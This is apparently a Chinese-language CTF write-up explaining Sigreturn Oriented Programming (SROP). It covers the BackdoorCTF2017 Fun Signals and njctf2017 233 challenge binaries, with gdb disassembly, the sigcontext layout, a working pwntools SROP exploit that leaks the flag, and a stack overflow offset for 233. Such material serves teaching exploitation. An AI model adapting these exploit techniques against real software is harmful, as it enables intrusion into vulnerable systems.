CTF-All-In-One/doc/6.4_pwn_njctf2017_233.md
2017-11-21 17:11:08 +08:00

8.8 KiB
Raw Blame History

6.4 pwn njctf2017 233

题目复现

在 6.1 中我们看到了 blind ROP这一节中再来看一种 ROP 技术Sigreturn Oriented Programming。

checksec 如下:

$ checksec -f 233 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No       0               2       233

把程序运行起来:

$ socat tcp4-listen:10001,reuseaddr,fork exec:./233 &

SROP 原理及题目解析

Linux 系统调用

在开始这一切之前,我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在 /usr/include/asm/unistd_64.h/usr/include/asm/unistd_32.h 中,另外还需要查看 /usr/include/bits/syscall.h

一开始 Linux 是通过 int 0x80 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 sysenter/sysexit,前者用于从 Ring3 进入 Ring0后者用于从 Ring0 返回 Ring3它没有特权级别检查也没有压栈的操作所以执行速度更快。

signal 机制

sigreturn frame 因架构不同而不同,在 Linux 中也有了新的定义,但目前关于 srop 的利用也都是基于旧的 sigcontext所以这里还是给出旧定义仅当用户空间依然依赖它时才会使用它们

# ifdef __i386__
struct sigcontext {
    __u16               gs, __gsh;
    __u16               fs, __fsh;
    __u16               es, __esh;
    __u16               ds, __dsh;
    __u32               edi;
    __u32               esi;
    __u32               ebp;
    __u32               esp;
    __u32               ebx;
    __u32               edx;
    __u32               ecx;
    __u32               eax;
    __u32               trapno;
    __u32               err;
    __u32               eip;
    __u16               cs, __csh;
    __u32               eflags;
    __u32               esp_at_signal;
    __u16               ss, __ssh;
    struct _fpstate     *fpstate;
    __u32               oldmask;
    __u32               cr2;
};
# else /* __x86_64__: */
struct sigcontext {
    __u64               r8;
    __u64               r9;
    __u64               r10;
    __u64               r11;
    __u64               r12;
    __u64               r13;
    __u64               r14;
    __u64               r15;
    __u64               rdi;
    __u64               rsi;
    __u64               rbp;
    __u64               rbx;
    __u64               rdx;
    __u64               rax;
    __u64               rcx;
    __u64               rsp;
    __u64               rip;
    __u64               eflags;     /* RFLAGS */
    __u16               cs;
    __u16               gs;
    __u16               fs;
    union {
        __u16           ss; /* If UC_SIGCONTEXT_SS */
        __u16           __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
    };
    __u64               err;
    __u64               trapno;
    __u64               oldmask;
    __u64               cr2;
    struct _fpstate     *fpstate;   /* Zero when no FPU context */
#  ifdef __ILP32__
    __u32               __fpstate_pad;
#  endif
    __u64               reserved1[8];
};

在你使用 ldd 命令时,通常也会显示 vDSO如下

$ ldd /usr/bin/ls
        linux-vdso.so.1 (0x00007ffff7ffa000)
        libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000)

32 位程序则会显示 linux-gate.so.1,都是一个意思。

BackdoorCTF2017 Fun Signals

我们先来看一个简单的例子,一个 64 位静态链接的 srop可以说是什么都没开。。。

$ checksec -f funsignals_player_bin 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No       0               0       funsignals_player_bin
gdb-peda$ disassemble _start
Dump of assembler code for function _start:
   0x0000000010000000 <+0>:     xor    eax,eax
   0x0000000010000002 <+2>:     xor    edi,edi
   0x0000000010000004 <+4>:     xor    edx,edx
   0x0000000010000006 <+6>:     mov    dh,0x4
   0x0000000010000008 <+8>:     mov    rsi,rsp
   0x000000001000000b <+11>:    syscall 
   0x000000001000000d <+13>:    xor    edi,edi
   0x000000001000000f <+15>:    push   0xf
   0x0000000010000011 <+17>:    pop    rax
   0x0000000010000012 <+18>:    syscall 
   0x0000000010000014 <+20>:    int3   
End of assembler dump.
gdb-peda$ disassemble syscall
Dump of assembler code for function syscall:
   0x0000000010000015 <+0>:     syscall 
   0x0000000010000017 <+2>:     xor    rdi,rdi
   0x000000001000001a <+5>:     mov    rax,0x3c
   0x0000000010000021 <+12>:    syscall 
End of assembler dump.
gdb-peda$ x/s flag
0x10000023 <flag>:      "fake_flag_here_as_original_is_at_server"

而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。

首先可以看到 _start 函数里有两个 syscall。第一个是 read(0, $rip, 0x400)(调用号0x0),它从标准输入读取 0x400 个字节到 rip 指向的地址处,也就是栈上。第二个是 sigreturn()(调用号0xf),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。

那么怎样读取 flag 呢,需要一个 write(1, &flag, 50),调用号为 0x1,而函数 syscall 正好为我们提供了 syscall 指令,构造 payload 如下:

from pwn import *

elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)

context.clear()
context.arch = "amd64"

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']

io.send(str(frame))
io.interactive()
$ python2 exp_funsignals.py 
[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive

如果连接的是远程服务器,fake_flag_here_as_original_is_at_server 会被替换成真正的 flag。

njctf2017 233

这是一个 32 位的程序。

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000063b <+0>:     push   ebp
   0x0000063c <+1>:     mov    ebp,esp
   0x0000063e <+3>:     push   ebx
   0x0000063f <+4>:     and    esp,0xfffffff0
   0x00000642 <+7>:     sub    esp,0x20
   0x00000645 <+10>:    call   0x510 <__x86.get_pc_thunk.bx>
   0x0000064a <+15>:    add    ebx,0x197e
   0x00000650 <+21>:    mov    DWORD PTR [esp+0x8],0x400
   0x00000658 <+29>:    lea    eax,[esp+0x16]
   0x0000065c <+33>:    mov    DWORD PTR [esp+0x4],eax
   0x00000660 <+37>:    mov    DWORD PTR [esp],0x0
   0x00000667 <+44>:    call   0x480 <read@plt>
   0x0000066c <+49>:    lea    eax,[esp+0x16]
   0x00000670 <+53>:    mov    DWORD PTR [esp],eax
   0x00000673 <+56>:    call   0x4c0 <atoi@plt>
   0x00000678 <+61>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0000067b <+64>:    leave  
   0x0000067c <+65>:    ret    
End of assembler dump.

这个程序看起来很简单,就是使用 read 函数读取 0x400 个字节到 [esp+0x16] 的地方,然后将其传给 atoi。很明显的栈溢出

gdb-peda$ pattern_offset 0x41284141
1093157185 found at offset: 22

Exploit

完整的 exp 如下,其他文件放在了github相应文件夹中:

参考资料